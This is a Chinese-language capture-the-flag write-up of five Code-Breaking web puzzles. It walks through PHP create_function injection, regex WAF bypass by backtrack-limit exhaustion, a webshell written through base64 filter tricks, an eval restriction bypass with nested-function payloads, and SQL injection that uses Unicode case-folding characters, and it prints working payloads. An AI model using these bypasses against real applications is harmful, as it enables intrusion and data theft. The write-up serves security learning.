Code-Breaking Puzzles
传送门:https://code-breaking.com

  1. function PHP函数利用技巧
  2. pcrewaf PHP正则特性
  3. phpmagic PHP写文件技巧
  4. phplimit PHP代码执行限制绕过
  5. nodechr Javascript字符串特性

1.easy - function-

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

看到$action('',$arg)这里有两个参数,可以想到create_function匿名函数代码注入。那么问题来了,知道怎么执行命令但是正则怎么绕,从这个正则很容易知道只要我们在开头或者结尾加入其他字符就可以绕过了,bp来fuzz一波,发现%5c可以绕过。


为什么在函数前面加一个"\"也能执行呢,这里涉及到了php的全局命名空间,\create_function就是调用全局的create_function函数


看一下手册中的例子就大概知道是什么意思了

既然正则可以绕过了,那么就可以愉快的getflag了

2.easy - pcrewaf

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
}  1

之前看过Ph师傅这篇文章,所以这题做起来会很轻松。用php中正则的最大回溯次数(pcre.backtrack_limit)使正则失效,从而导致is_php()返回false。


PHP中的正则回溯最大次数是100w次,只要超过这个值,正则匹配就会执行失败


那么解题的思路就很清晰了,只要上传一个超长的字符串的文件,就可以绕过这个正则表达式了。

3.easy - phpmagic

//代码段1:
<?php
if(isset($_GET['read-source'])) {
    exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
    mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
//代码段2:
<?php if(!empty($_POST) && $domain):
                $command = sprintf("dig -t A -q %s", escapeshellarg($domain));
                $output = shell_exec($command);
                $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
                $log_name = $_SERVER['SERVER_NAME'] . $log_name;
                if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
                    file_put_contents($log_name, $output);
                }
                echo $output;
            endif; ?>

$domain那里用了escapeshellarg(),命令注入这条走不通。

文件内容我们可控,但是$output被htmlspecialchars转化为html实体,<>被干掉了,直接写shell不行,而且后缀限制得要死。

翻了以前的笔记:php在做路径处理的时候,会递归的删除掉路径中存在的“/.”。详情看这里,所以我们只要在后缀后面加上/. pathifo就取不到后缀名了,并且我们可以正常上传一个php文件。
那么后缀限制就可以绕过了,写文件我们可以用伪协议流


但是$log_name前面被加上了$_SERVER['SERVER_NAME'],查看了手册之后发现这个值我们是可控的


在本地尝试了一波,发现这个值是取http响应头的host值。

最后一个问题是我们怎么控制base64的长度呢,我们知道base64编码之后一定是4的倍数,解码也是按4位4位来解的,那么我们只要控制好$output的值使得我们shell可以正常解码就可以了

还有一个trick:就是php在进行base64解码的时候如果遇到不是base64编码的字符会直接跳过


发现我们是可以正常解码的。
然后我们再判断我们shell前面符合base64编码有多少就可以了,不够可以填充,不过刚好是符合4的倍数,无需填充


思路都ok了,那么我们就写shell吧

可以成功上传

getflag

4.easy - phplimit

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

这里涉及到了PHP正则表达式的递归模式,不清楚什么是递归模式可以看这里 http://php.net/manual/zh/regexp.reference.recursive.php

题目中的正则表达式中的关键点是(?R)?,(?R)的作用就是递归地替换它所在的整条正则表达式. 在每次迭代时, PHP语法分析器都会将(?R)替换为 '/[^\W]+((?R)?)/'。

那么上面真正表达式就一目了然了,就是传入的必须是函数,而且这个函数不能带入参数,类似于这种:func1(func2(func3())),递归模式会一直递归匹配括号的内容下去。

正则知道怎么走了,那么现在就用PHP不带参数的函数一把梭吧,在本地用了N个函数测试,最终payload:

code=var_dump(file_get_contents(next(array_reverse(scandir(dirname(chdir(next(scandir(getcwd())))))))));

还有另一种解法是利用:get_defined_vars()

get_defined_vars(),此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。


那么我们可以再提交一个参数过去,再用get_defined_vars()函数去获取

5.easy - nodechr

代码太长了,这里就贴出关键代码吧

//关键代码1:
function safeKeyword(keyword) {
    if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
        return keyword
    }

    return undefined
}
//关键代码2:
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])

let jump = ctx.router.url('login')
if (username && password) {
    let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)

    if (user) {
        ctx.session.user = user

        jump = ctx.router.url('admin')
    }

}

很明显的sql注入,但是union,select被ban了,看着toUpperCase()这个很是诡异,再加上ph师傅给的tips,百度之,然后就百度到了ph师傅这篇文章
要点如下:


那么思路很清晰了,unıon.toUpperCase()==UNION,ſelect.toUpperCase()==SELECT

接下来就是简单的注入了
username=admin&password=1%27 un%C4%B1on %C5%BFelect null,(%C5%BFelect flag from flags),'null

后记:

这几道题目考察很多有意思的东西,也感谢ph师傅出这几道很Nice的题目,涨了不少姿势。

源链接

Hacking more

...